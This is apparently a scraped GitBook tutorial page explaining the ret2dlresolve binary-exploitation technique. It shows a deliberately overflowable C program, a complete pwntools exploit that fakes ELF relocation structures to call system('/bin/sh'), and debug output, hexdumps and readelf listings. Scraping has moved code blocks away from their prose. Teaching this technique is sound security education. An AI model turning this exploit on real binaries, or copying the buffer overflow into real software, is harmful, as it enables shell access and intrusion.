arrow-left

All pages
gitbookPowered by GitBook
1 of 2

Loading...

Loading...

Exploitation

hashtag
Source

To display an example program, we will use the example given on the pwntools entry for ret2dlresolve:

hashtag
Exploitation

pwntools contains a fancy Ret2dlresolvePayload that can automate the majority of our exploit:

Let's use rop.dump() to break down what's happening.

As we expected - it's a read followed by a call to plt_init with the parameter 0x0804ce24. Our fake structures are being read in at 0x804ce00. The logging at the top tells us where all the structures are placed.

Now we know where the fake structures are placed. Since I ran the script with the DEBUG parameter, I'll check what gets sent.

  • system is being written to 0x804ce00 - as the debug said the Symbol name addr would be placed

  • After that, at 0x804ce0c, the Elf32_Sym struct starts. First it contains the table index of that string, which in this case is 0x4ba4 as it is a

After all the structures we place the string /bin/sh at 0x804ce24 - which, if you remember, was the argument passed to system when we printed the rop.dump():

hashtag
Final Exploit

#include <unistd.h>
void vuln(void){
    char buf[64];
    read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
    vuln();
}
very
long way off the actual table. Next it contains the other values on the struct, but they are irrelevant and so zeroed out.
  • At 0x804ce1c that Elf32_Rel struct starts; first it contains the address of the system string, 0x0804ce00, then the r_info variable - if you remember this specifies the R_SYM, which is used to link the SYMTAB and the STRTAB.

  • # create the dlresolve object
    dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
    
    rop.raw('A' * 76)
    rop.read(0, dlresolve.data_addr)             # read to where we want to write the fake structures
    rop.ret2dlresolve(dlresolve)                 # call .plt and dl-resolve() with the correct, calculated reloc_offset
    
    p.sendline(rop.chain())
    p.sendline(dlresolve.payload)                # now the read is called and we pass all the relevant structures in
    [DEBUG] PLT 0x8049030 read
    [DEBUG] PLT 0x8049040 __libc_start_main
    [DEBUG] Symtab: 0x804820c
    [DEBUG] Strtab: 0x804825c
    [DEBUG] Versym: 0x80482a6
    [DEBUG] Jmprel: 0x80482d8
    [DEBUG] ElfSym addr: 0x804ce0c
    [DEBUG] ElfRel addr: 0x804ce1c
    [DEBUG] Symbol name addr: 0x804ce00
    [DEBUG] Version index addr: 0x8048c26
    [DEBUG] Data addr: 0x804ce00
    [DEBUG] PLT_INIT: 0x8049020
    [*] 0x0000:          b'AAAA' 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
        [...]
        0x004c:        0x8049030 read(0, 0x804ce00)
        0x0050:        0x804921a <adjust @0x5c> pop edi; pop ebp; ret
        0x0054:              0x0 arg0
        0x0058:        0x804ce00 arg1
        0x005c:        0x8049020 [plt_init] system(0x804ce24)
        0x0060:           0x4b44 [dlresolve index]
        0x0064:          b'zaab' <return address>
        0x0068:        0x804ce24 arg0
    [DEBUG] ElfSym addr: 0x804ce0c
    [DEBUG] ElfRel addr: 0x804ce1c
    [DEBUG] Symbol name addr: 0x804ce00
    00000000  73 79 73 74  65 6d 00 61  63 61 61 61  a4 4b 00 00  │syst│em·a│caaa│·K··│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 ce 04 08  │····│····│····│····│
    00000020  07 c0 04 00  2f 62 69 6e  2f 73 68 00  0a           │····│/bin│/sh·│·│
    0000002d
    0x005c:        0x8049020 [plt_init] system(0x804ce24)
    from pwn import *
    
    elf = context.binary = ELF('./vuln', checksec=False)
    p = elf.process()
    rop = ROP(elf)
    
    # create the dlresolve object
    dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
    
    rop.raw('A' * 76)
    rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
    rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset
    
    log.info(rop.dump())
    
    p.sendline(rop.chain())
    p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in
    
    p.interactive()

    ret2dlresolve

    Resolving our own libc functions

    hashtag
    Broad Overview

    During a ret2dlresolve, the attacker tricks the binary into resolving a function of its choice (such as system) into the PLT. This then means the attacker can use the PLT function as if it was originally part of the binary, bypassing ASLR (if present) and requiring no libc leaks.

    hashtag
    Detailed Overview

    Dynamically-linked ELF objects import libc functions when they are first called using the PLT and GOT. During the relocation of a runtime symbol, RIP will jump to the PLT and attempt to resolve the symbol. During this process a "resolver" is called.

    circle-info

    For all these screenshots, I broke at read@plt. I'm using GDB with the pwndbg plugin as it shows it a bit better.

    The PLT jumps to wherever the GOT points. Originally, before the GOT is updated, it points back to the instruction after the jmp in the PLT to resolve it.

    In order to resolve the functions, there are 3 structures that need to exist within the binary. Faking these 3 structures could enable us to trick the linker into resolving a function of our choice, and we can also pass parameters in (such as /bin/sh) once resolved.

    hashtag
    Structures

    There are 3 structures we need to fake.

    hashtag
    JMPREL

    The JMPREL segment (.rel.plt) stores the Relocation Table, which maps each entry to a symbol.

    These entries are of type Elf32_Rel:

    The column name corresponds to our symbol name. The offset is the GOT entry for our symbol. info stores additional metadata.

    Note the due to this the R_SYM of gets is 1 as 0x107 >> 8 = 1.

    hashtag
    STRTAB

    Much simpler - just a table of strings for the names.

    hashtag
    SYMTAB

    Symbol information is stores here in an Elf32_Sym struct:

    The most important value here is st_name as this gives the offset in STRTAB of the symbol name. The other fields are not relevant to the exploit itself.

    hashtag
    Linking the Structures

    We now know we can get the STRTAB offset of the symbol's string using the R_SYM value we got from the JMPREL, combined with SYMTAB:

    Here we're reading SYMTAB + R_SYM * size (16), and it appears that the offset (the SYMTAB st_name variable) is 0x10.

    And if we read that offset on STRTAB, we get the symbol's name!

    hashtag
    More on the PLT and GOT

    Let's hop back to the GOT and PLT for a slightly more in-depth look.

    If the GOT entry is unpopulated, we push the reloc_offset value and jump to the beginning of the .plt section. A few instructions later, the dl-resolve() function is called, with reloc_offset being one of the arguments. It then uses this reloc_offset to calculate the relocation and symtab entries.

    hashtag
    Resources

    The Original Phrack Articlearrow-up-right
    0ctf's babystackarrow-up-right
    rk700 (in Chinese)arrow-up-right
    0x0804825c is the location of STRTAB we got earlier
    $readelf -d source
    
    Dynamic section at offset 0x2f14 contains 24 entries:
      Tag        Type                         Name/Value
     0x00000005 (STRTAB)                     0x804825c
     0x00000006 (SYMTAB)                     0x804820c
     0x00000017 (JMPREL)                     0x80482d8
     [...]
    $readelf -r source
    
    Relocation section '.rel.dyn' at offset 0x2d0 contains 1 entry:
     Offset     Info    Type            Sym.Value  Sym. Name
    0804bffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__
    
    Relocation section '.rel.plt' at offset 0x2d8 contains 2 entries:
     Offset     Info    Type            Sym.Value  Sym. Name
    0804c00c  00000107 R_386_JUMP_SLOT   00000000   gets@GLIBC_2.0
    0804c010  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
    typedef uint32_t Elf32_Addr;
    typedef uint32_t Elf32_Word;
    typedef struct
    {
      Elf32_Addr    r_offset;               /* Address */
      Elf32_Word    r_info;                 /* Relocation type and symbol index */
    } Elf32_Rel;
    /* How to extract and insert information held in the r_info field.  */
    #define ELF32_R_SYM(val)                ((val) >> 8)
    #define ELF32_R_TYPE(val)               ((val) & 0xff)
    typedef struct 
    { 
       Elf32_Word st_name ; /* Symbol name (string tbl index) */
       Elf32_Addr st_value ; /* Symbol value */ 
       Elf32_Word st_size ; /* Symbol size */ 
       unsigned char st_info ; /* Symbol type and binding */ 
       unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */ 
       Elf32_Section st_shndx ; /* Section index */ 
    } Elf32_Sym ;